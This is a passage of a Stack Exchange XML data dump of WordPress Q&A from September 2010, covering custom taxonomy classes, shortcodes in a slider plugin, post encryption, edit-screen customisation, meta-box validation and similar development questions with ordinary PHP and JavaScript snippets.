' ', '' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then I'd have to filter out the HTML that the_term generates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing anything obvious here, is there a simpler way to solve this issue?&lt;/p&gt;&#xA;" OwnerUserId="1059" LastActivityDate="2010-09-27T19:33:01.110" Title="Add post classes for custom taxonomies to custom post type?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;filters&gt;&lt;post-class&gt;" AnswerCount="2" />
  <row Id="2267" PostTypeId="2" ParentId="2266" CreationDate="2010-09-27T16:08:07.380" Score="0" ViewCount="" Body="&lt;p&gt;Instead of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_terms&lt;/code&gt;&lt;/a&gt;, you could use &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/category-template.php#L898&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_terms&lt;/code&gt;&lt;/a&gt;, which will return the taxonomy term &lt;em&gt;objects&lt;/em&gt;. The Codex has documentation for the tag-only version, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_tags&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_tags&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would give you something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpprogrammer_custom_taxonomy_in_body_class( $classes ){&#xA;  if( is_singular() )&#xA;  {&#xA;    $custom_terms = get_the_terms(0, 'my_custom_taxonomy');&#xA;    if ($custom_terms) {&#xA;      foreach ($custom_terms as $custom_term) {&#xA;        $classes[] = 'custom_tag_' . $custom_term-&amp;gt;slug;&#xA;      }&#xA;    }&#xA;  }&#xA;  return $classes;&#xA;}&#xA;&#xA;add_filter( 'body_class', 'wpprogrammer_custom_taxonomy_in_body_class' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-09-27T19:33:01.110" LastActivityDate="2010-09-27T19:33:01.110" CommentCount="2" />
  <row Id="2268" PostTypeId="2" ParentId="1481" CreationDate="2010-09-27T16:11:09.293" Score="0" ViewCount="" Body="&lt;p&gt;I concur with Chris_O&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have a static front page, 2 main category + 1 subcategory under those, and another page. Driven by Wordpress 3.0.1 and Thesis 1.8, using Wordpress menu instead of Thesis menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For highlighting the main category I used:.current-post-ancestor a { &#xA;background:#FFFFFF;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( this highlight the main category when on single post )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For highlighting subcategory I used: .sub-menu .current-post-ancestor a { &#xA;background:#F0EEC2;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( this highlight the subcategory -under main category- when on single post of subcategory )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like &lt;strong&gt;both&lt;/strong&gt; &quot;main category&quot; &lt;strong&gt;and&lt;/strong&gt; &quot;subcategory&quot; to be highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cannot find the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pierre&lt;/p&gt;&#xA;" LastActivityDate="2010-09-27T16:11:09.293" />
  <row Id="2269" PostTypeId="1" AcceptedAnswerId="2339" CreationDate="2010-09-27T16:12:15.420" Score="3" ViewCount="385" Body="&lt;p&gt;Looking for a breadcrumb menu that can be called (preferably from a sidebar widget in header.php) that lists...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home &gt; Parent Post/Page &gt; Current Page/Post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or alternately...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home &gt; Parent Category &gt; Current Page/Post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or even &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home &gt; Grand Parent Category &gt; Parent Category &gt; Current Page/Post&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-19T15:31:57.043" Title="WordPress built in breadcrumb trail menu?" Tags="&lt;custom-menus&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="2270" PostTypeId="2" ParentId="2269" CreationDate="2010-09-27T16:24:08.727" Score="2" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://wordpress.org/extend/plugins/breadcrumbs/&quot; rel=&quot;nofollow&quot;&gt;Yoast Breadcrumbs&lt;/a&gt;.  Very well written breadcrumb menu plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/AwEyF.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-27T16:24:08.727" CommentCount="1" />
  <row Id="2271" PostTypeId="2" ParentId="2245" CreationDate="2010-09-27T16:59:09.113" Score="1" ViewCount="" Body="&lt;p&gt;If this is a case of being WP3.0 and you're really new to Wordpress in general, you're going to have fun poking through loop.php which will hold the loop being used, unlike what the first two have said. They are right though in that it's a case of the_excerpt vs the_content. Not sure why it's displaying like that by default with posts instead of the_content, unless it's set that way with the posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a fyi, the version number can be seen at the bottom of the admin area, in its footer on the right.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-09-27T16:59:09.113" />
  <row Id="2272" PostTypeId="2" ParentId="2218" CreationDate="2010-09-27T17:03:39.633" Score="0" ViewCount="" Body="&lt;p&gt;just as a dumb-check, do you have a header.php file ready and available?&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-09-27T17:03:39.633" />
  <row Id="2273" PostTypeId="1" CreationDate="2010-09-27T17:53:45.523" Score="0" ViewCount="536" Body="&lt;p&gt;My plugin, &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp-coda-slider/trunk/wpcodaslider.php?rev=294163&quot; rel=&quot;nofollow&quot;&gt;WP Coda Slider&lt;/a&gt;, uses a shortcode to &lt;code&gt;get_posts&lt;/code&gt; and add them to the slider.  If one of the posts contains shortcode the shortcode in that post will not work.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_wpcodaslider = new wpcodaslider();&#xA;class wpcodaslider{&#xA;&#xA;    var $shortcode_name = 'wpcodaslider';&#xA;    var $pattern = '&amp;lt;!-- wpcodaslider --&amp;gt;';&#xA;    var $posts_content = '';&#xA;&#xA;    function wpcodaslider() {&#xA;        add_shortcode( $this-&amp;gt;shortcode_name, array( &amp;amp;$this, 'shortcode' ) );&#xA;        add_action( 'the_posts', array( &amp;amp;$this, 'wpcodaslider_scripts' ) );&#xA;    }&#xA;&#xA;    // insert the shortcode in any page ie: [wpcodaslider id=slidername cat=4 show=3] will show first three post in category with id of 4&#xA;    function shortcode( $atts, $content = null ) {&#xA;        extract( shortcode_atts( array(&#xA;            'cat' =&amp;gt; null,&#xA;            'id'  =&amp;gt;  null,&#xA;            'show' =&amp;gt; null,&#xA;            'args' =&amp;gt; null&#xA;        ), $atts ) );&#xA;&#xA;        //Make sure there is a query and name&#xA;        if (! $cat || ! $id)&#xA;            return 'Could not load slider. Mallformed shortcode.';&#xA;    $o = '&#xA;        &amp;lt;div class=&quot;coda-slider-wrapper&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;coda-slider preload&quot; id=&quot;'. $id .'&quot;&amp;gt;';&#xA;&#xA;        $posts = get_posts('post_type=post&amp;amp;order=desc&amp;amp;cat= '. $cat . '&amp;amp;numberposts= ' . $show . '');&#xA;        foreach($posts as $post){&#xA;&#xA;            $o.=&#xA;            '&amp;lt;div class=&quot;panel&quot; id=&quot;post-' . $post-&amp;gt;ID . '&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;panel-wrapper&quot;&amp;gt;&#xA;                    &amp;lt;h2 class=&quot;title&quot;&amp;gt;' . $post-&amp;gt;post_title . '&amp;lt;/h2&amp;gt;&#xA;                    ' . $post-&amp;gt;post_content . '&#xA;                &amp;lt;/div&amp;gt; &amp;lt;!-- .panel-wrapper --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .panel #post-$id --&amp;gt;';&#xA;        }&#xA;&#xA;&#xA;        $o.='&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- .coda-slider .preload --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- coda-slider-wrapper --&amp;gt;&#xA;&#xA;            &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function($){&#xA;                $().ready(function() {&#xA;                    $(\'#'. $id .'\').codaSlider({' . $args .'});&#xA;                });&#xA;    });&#xA;            &amp;lt;/script&amp;gt;';&#xA;&#xA;&#xA;        return $o;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also does another foreach loop to check for its shortcode before enqueing the scripts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpcodaslider_scripts($posts) {&#xA;&#xA;&#xA;        if (empty($posts)) return $posts;&#xA;&#xA;        $shortcode_found = false; // use this flag to see if styles and scripts need to be enqueued&#xA;        foreach ($posts as $post): {&#xA;            if (stripos($post-&amp;gt;post_content, 'wpcodaslider')) {&#xA;                $shortcode_found = true; //shortcode found so lets load the scripts&#xA;                break;&#xA;            }&#xA;        }&#xA;&#xA;        if ($shortcode_found) {&#xA;            //enqueue scripts&#xA;            wp_enqueue_script('coda_slider', WP_PLUGIN_URL . '/wp-coda-slider/js/coda.slider.js',&#xA;            array('jquery'));&#xA;&#xA;            //enqueue style sheet&#xA;            wp_enqueue_style('coda_slider', WP_PLUGIN_URL . '/wp-coda-slider/css/coda-slider-2.0.css');&#xA;        }&#xA;&#xA;        return $posts;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can get shortcodes within the posts to work?  I have tested it with the &lt;code&gt;[gallery]&lt;/code&gt; shortcode and a few others from various plugins.  &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-06-29T18:16:35.470" Title="How to get shortcode to work inside a foreach loop called within a shortcode?" Tags="&lt;plugin-development&gt;&lt;shortcode&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2274" PostTypeId="2" ParentId="2273" CreationDate="2010-09-27T18:15:49.970" Score="1" ViewCount="" Body="&lt;p&gt;The issue is you are echoing raw &lt;code&gt;post_content&lt;/code&gt; field from object. It isn't what usually gets to front-end. Try: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apply_filters( 'the_content', $post-&amp;gt;post_content )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to run shortcodes alone (without bunch of other filters) you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_shortcode( $post-&amp;gt;post_content )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; re-read your question... Is there a possibility that this thing gets recursive? Post containing slider shortocde that calls itself?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-27T18:15:49.970" CommentCount="1" />
  <row Id="2275" PostTypeId="1" CreationDate="2010-09-27T18:44:12.987" Score="2" ViewCount="254" Body="&lt;p&gt;I've been looking into making a completely private Wordpress blog and have found useful blogs/tutorials along the way that have helped such as &lt;a href=&quot;http://davidhewson.com/2009/11/29/a-working-example-of-a-private-book-blog/&quot; rel=&quot;nofollow&quot;&gt;David Hewsons pretty detailed walkthrough&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have a system in place (online) that is nice and private and requires login credentials to access the blog, now here-in lies the problem. I'm worried that if my web server is hacked in some way (I'm not going to be ignorant to the fact that this may occur) and my database accessed then all of my posts will be viewable - thus defeating all of the front-end privation work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked for pre-built solutions to encrypt the posts themselves but nothing exists yet, what I need is a helping hand in the right direction for writing a Wordpress plugin as I haven't a clue where to start in relation to coding plugins in Wordpress, any help/tutorial links would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have quite extensive knowledge of PHP/MySQL albeit not in the Wordpress fashion of API's etc.&lt;/p&gt;&#xA;" OwnerUserId="1062" LastActivityDate="2011-02-07T14:48:37.297" Title="Encryption of Wordpress Posts" Tags="&lt;posts&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="2276" PostTypeId="2" ParentId="2275" CreationDate="2010-09-27T18:56:23.947" Score="1" ViewCount="" Body="&lt;p&gt;As far as I know what you ask is not really possible with WordPress (or any plain PHP app) alone. It is same dilemma as with database credentials in WP - if FTP is hacked then hacker gets database login/password from &lt;code&gt;wp-config.php&lt;/code&gt;. It is impossible to protect those because WordPress (or any other PHP app really) needs them for database access. Even if they are stored encrypted at some point they will need to be decrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing with posts - even if store encrypted posts in database at some point WordPress will need to decrypt them. If WordPress can decrypt them then so does person who hacked account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can probably somehow separate keys from WordPress installation, but that is simply moving issue around - now still have to think about protecting keys from being hacked/leaked, they are just in another place.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-27T18:56:23.947" CommentCount="2" />
  <row Id="2277" PostTypeId="2" ParentId="2266" CreationDate="2010-09-27T19:04:08.407" Score="2" ViewCount="" Body="&lt;p&gt;I found a snippet of code &lt;a href=&quot;http://www.wptavern.com/forum/troubleshooting/1758-custom-taxonomy-css-class.html#post17182&quot; rel=&quot;nofollow&quot;&gt;courtesy of mfields&lt;/a&gt; that solved this problem for me, here's what I ended up using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   // Add custom taxonomies to the post class&#xA;&#xA;    add_filter( 'post_class', 'custom_taxonomy_post_class', 10, 3 );&#xA;&#xA;    if( !function_exists( 'custom_taxonomy_post_class' ) ) {&#xA;&#xA;        function custom_taxonomy_post_class( $classes, $class, $ID ) {&#xA;&#xA;            $taxonomy = 'listing-category';&#xA;&#xA;            $terms = get_the_terms( (int) $ID, $taxonomy );&#xA;&#xA;            if( !empty( $terms ) ) {&#xA;&#xA;                foreach( (array) $terms as $order =&amp;gt; $term ) {&#xA;&#xA;                    if( !in_array( $term-&amp;gt;slug, $classes ) ) {&#xA;&#xA;                        $classes[] = $term-&amp;gt;slug;&#xA;&#xA;                    }&#xA;&#xA;                }&#xA;&#xA;            }&#xA;&#xA;            return $classes;&#xA;&#xA;        }&#xA;&#xA;    }  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1059" LastActivityDate="2010-09-27T19:04:08.407" />
  <row Id="2278" PostTypeId="2" ParentId="2264" CreationDate="2010-09-27T19:14:25.143" Score="2" ViewCount="" Body="&lt;p&gt;You can hook into template_redirect like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_template_redirect() {&#xA;    global $wp;&#xA;&#xA;    if ($wp-&amp;gt;query_vars['pagename'] == 'my-page-slug') { // check the page slug&#xA;        status_header(200); // a 404 code will not be returned in the HTTP headers if the page does not exists&#xA;&#xA;        include(TEMPLATEPATH . &quot;/test.php&quot;); // include the corresponding template&#xA;        die();&#xA;    }&#xA;}&#xA;add_action( 'template_redirect', 'custom_template_redirect' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-28T10:17:21.827" LastActivityDate="2010-09-28T10:17:21.827" CommentCount="2" />
  <row Id="2279" PostTypeId="1" AcceptedAnswerId="2281" CreationDate="2010-09-27T19:43:05.583" Score="4" ViewCount="1300" Body="&lt;p&gt;What's the best way to completely customize the Edit Post admin screen for a specific custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have customized it to an extent already on creation of the custom post type - adding additional fields etc, but I want to remove many of the elements such like permalinks, preview post, disable quick editing etc&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2010-09-28T07:09:09.390" Title="Customize Edit Post screen for Custom Post Types?" Tags="&lt;custom-post-types&gt;&lt;admin&gt;" AnswerCount="1" FavoriteCount="6" />
  <row Id="2280" PostTypeId="2" ParentId="2194" CreationDate="2010-09-27T19:43:58.577" Score="6" ViewCount="" Body="&lt;p&gt;I found this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/edit-flow/&quot; rel=&quot;nofollow&quot;&gt;called EditFlow&lt;/a&gt; that says it allows you to add custom statuses. Apparently it's designed for use in a newsroom. (FYI, I searched the WordPress plugins directory for &quot;custom post status.&quot;)&lt;/p&gt;&#xA;" OwnerUserId="1008" LastActivityDate="2010-09-27T19:43:58.577" />
  <row Id="2281" PostTypeId="2" ParentId="2279" CreationDate="2010-09-27T20:26:26.187" Score="5" ViewCount="" Body="&lt;p&gt;Some of these questions are answered here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1390/set-default-admin-screen-options-metabox-order/1402#1402&quot;&gt;http://wordpress.stackexchange.com/questions/1390/set-default-admin-screen-options-metabox-order/1402#1402&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the permalink metabox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_remove_meta_boxes() {&#xA;    remove_meta_box('slugdiv', 'my-post-type', 'core');&#xA;}&#xA;add_action( 'admin_menu', 'my_remove_meta_boxes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;additionaly, you will have to hide #edit-slug-box with css or javascript. see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1058/loading-external-scripts-in-admin-but-only-for-a-specific-post-type&quot;&gt;http://wordpress.stackexchange.com/questions/1058/loading-external-scripts-in-admin-but-only-for-a-specific-post-type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable quick edit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_remove_actions( $actions, $post ) {&#xA;    if( $post-&amp;gt;post_type == 'my-post-type' ) {&#xA;        unset( $actions['inline hide-if-no-js'] );&#xA;    }&#xA;    return $actions;&#xA;}&#xA;add_filter( 'post_row_actions', 'my_remove_actions', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To change the preview link, you could use the filter 'preview_post_link', but it works only when the post has not yet been published.&#xA;So, the solution would be to remove the submit meta box and add your own modified one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_replace_submit_meta_box() {&#xA;    remove_meta_box('submitdiv', 'my-post-type', 'core');&#xA;    add_meta_box('submitdiv', __('Publish'), 'custom_post_submit_meta_box', 'my-post-type', 'side', 'core');&#xA;}&#xA;add_action( 'admin_menu', 'my_replace_submit_meta_box' );&#xA;&#xA;function custom_post_submit_meta_box() { // a modified version of post_submit_meta_box() (wp-admin/includes/meta-boxes.php, line 12)&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-28T07:09:09.390" LastActivityDate="2010-09-28T07:09:09.390" CommentCount="7" />
  <row Id="2282" PostTypeId="2" ParentId="1910" CreationDate="2010-09-27T20:52:53.760" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at the 'Vote It Up' plugin, I think it is what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/vote-it-up/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2010-09-27T20:52:53.760" />
  <row Id="2283" PostTypeId="1" AcceptedAnswerId="2284" CreationDate="2010-09-27T21:43:41.263" Score="0" ViewCount="168" Body="&lt;p&gt;I would like to add some features (via authoring a plugin) to the post editor in wordpress.  Is there a way to add a widget to the post editor view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively is there an existing plugin someone can point me too, that does this so I can see how they do it.&lt;/p&gt;&#xA;" OwnerUserId="938" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-27T22:04:20.567" LastActivityDate="2010-09-27T22:04:20.567" Title="How to add a widget to the post editing view?" Tags="&lt;plugin-development&gt;&lt;metabox&gt;&lt;editor&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2284" PostTypeId="2" ParentId="2283" CreationDate="2010-09-27T22:03:58.193" Score="3" ViewCount="" Body="&lt;p&gt;&quot;Widgets&quot; as you're calling them on the post edit screen are actually meta boxes.  You can add as many as you want to do whatever you want using the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you know what they're called, it's fairly straight-forward to do a Google search for examples.  Or check out &lt;a href=&quot;http://wefunction.com/2008/10/tutorial-creating-custom-write-panels-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;some great tutorials&lt;/a&gt; listed in the Codex.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-27T22:03:58.193" CommentCount="1" />
  <row Id="2285" PostTypeId="2" ParentId="1705" CreationDate="2010-09-27T22:13:07.150" Score="7" ViewCount="" Body="&lt;p&gt;The easiest way is to add Javascript validation via the &lt;a href=&quot;http://docs.jquery.com/Plugins/Validation&quot; rel=&quot;nofollow&quot;&gt;jQuery Validate plugin&lt;/a&gt;. Here's the most basic walkthrough:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Near your add_meta_box call, enqueue the jQuery Validate plugin as well as a JS file for your simple script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'add_my_js');  &#xA;function add_my_js(){    &#xA;  wp_enqueue_script('my_validate', 'path/to/jquery.validate.min.js', array('jquery'));&#xA;  wp_enqueue_script('my_script_js', 'path/to/my_script.js');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my_script.js include the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery().ready(function() {&#xA;    jQuery(&quot;#post&quot;).validate();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will enable validation on the post form. Then in the add_meta_box callback where you define the custom fields, you'd add a &quot;required&quot; class for each field you wish to validate, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;my_custom_text_field&quot; class=&quot;required&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All fields with &quot;required&quot; in their class will be validated when the post is saved/published/updated. All of the other validation options (rules, error styling, etc) can be set in the document.ready function in my_script.js; check the jQuery Validate docs for all the options.&lt;/p&gt;&#xA;" OwnerUserId="750" LastActivityDate="2010-09-27T22:13:07.150" CommentCount="5" />
  <row Id="2286" PostTypeId="1" CreationDate="2010-09-27T22:32:13.323" Score="7" ViewCount="1172" Body="&lt;p&gt;I am working on a local business directory site that will use custom post types for the business entries.  One of the fields will be &quot;Zip Code.&quot;  How can I set up a location based search?  I'd like visitors to be able to enter their zip code and choose a category and show all the businesses withing a certain radius, or all the businesses ordered by distance.  I saw a couple plugins that claim to do this but they don't support wordpress 3.0.  Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-07T21:07:06.613" LastActivityDate="2010-10-09T09:46:38.277" Title="How can I implement a location based (zip code) search in WordPress?" Tags="&lt;search&gt;&lt;location-search&gt;&lt;store-locator&gt;&lt;geo-data&gt;" AnswerCount="3" CommentCount="9" FavoriteCount="7" />
  <row Id="2287" PostTypeId="1" AcceptedAnswerId="2288" CreationDate="2010-09-27T23:34:24.537" Score="0" ViewCount="98" Body="&lt;p&gt;Using query_posts, how can I order the list of posts so the ones with the most recent comments are at the top?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something similar to how Questions here on SE are ordered when you sort by &quot;Active.&quot;&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-09-28T00:00:39.960" Title="Create a Loop with Posts Ordered by Most Recent Comments" Tags="&lt;query-posts&gt;&lt;the-loop&gt;" AnswerCount="1" />
  <row Id="2288" PostTypeId="2" ParentId="2287" CreationDate="2010-09-28T00:00:39.960" Score="1" ViewCount="" Body="&lt;p&gt;I wouldn't use &lt;code&gt;query_posts()&lt;/code&gt;.  That particular function is meant for making changes to a specific query ... and it's limited enough that you can't get the kind of custom functionality you need out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather, I'd use a custom query.  What you'll want to do is query approved comments sorted by their post/approval date and join that with the posts in your database.  If a post doesn't have any comments, it would automatically be filtered out based on this criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;very simple&lt;/em&gt; pseudo-code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$qstr = 'SELECT * FROM wp_posts ON (wp_posts.post_id = wp_commnets.comment_post_id) WHERE wp_comments.comment_approved='approved' ORDER BY wp_comments.comment_date';&#xA;$my_query = new WP_Query($qstr);&#xA;&#xA;while($my_query-&amp;gt;have_posts() ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, you're selecting posts based on specific criteria related to data in the comments table.  Using a direct query requires a certain depth of knowledge regarding SQL statements and the WP database structure, though ... so it's not usually my first recommendation, but should work in your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just remember that the code above is pseudo-code&lt;/strong&gt; ... meaning I made it up off the top of my head, it might not work, and you should only use it as a conceptual example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Database_Description&quot; rel=&quot;nofollow&quot;&gt;WordPress Database Structure&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-28T00:00:39.960" />
  <row Id="2289" PostTypeId="2" ParentId="1567" CreationDate="2010-09-28T00:53:46.343" Score="3" ViewCount="" Body="&lt;h2&gt;Make your Shortlinks Shorter by Removing WWW&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make your shortlinks shorter if you include &lt;code&gt;www.&lt;/code&gt; in your domain. Via &lt;a href=&quot;http://www.scratch99.com/2010/09/shorter-shortlinks-if-you-have-www-in-your-domain/&quot; rel=&quot;nofollow&quot;&gt;scratch99.com&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_shortlink','sjc_alter_shortlink');&#xA;function sjc_alter_shortlink($shortlink) {&#xA;    $shortlink = str_replace('www.','',$shortlink);&#xA;    return $shortlink;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:40:23.583" LastActivityDate="2011-01-26T14:40:23.583" CommunityOwnedDate="2010-09-28T00:53:46.343" />
  <row Id="2292" PostTypeId="1" CreationDate="2010-09-28T03:19:44.273" Score="0" ViewCount="563" Body="&lt;p&gt;I am trying to add a rich text editor to a widget and am using CKEditor ( &lt;a href=&quot;http://ckeditor.com/download&quot; rel=&quot;nofollow&quot;&gt;http://ckeditor.com/download&lt;/a&gt; ) with a simple toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine until I try to save. When clicking on &quot;save&quot; the textarea (and texteditor) vanish and it fails to save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the texteditor allows the textarea to work and save normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the widgets code here: &lt;a href=&quot;http://pastebin.com/C7VbxBSG&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/C7VbxBSG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and of course I did add the required &lt;code&gt;wp_register_script&lt;/code&gt; and &lt;code&gt;wp_enqueue_script&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the same code to add the text editor to text areas n meta boxes for pages and posts and it works fine. It's just on the widget the problem comes up something to do with the way the widget saves: via javascript which is beyond my skills at present&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-09-28T22:52:59.203" LastActivityDate="2010-09-28T22:52:59.203" Title="Adding a rich text editor to a widget - specifically CKEditor" Tags="&lt;widgets&gt;" AnswerCount="1" />
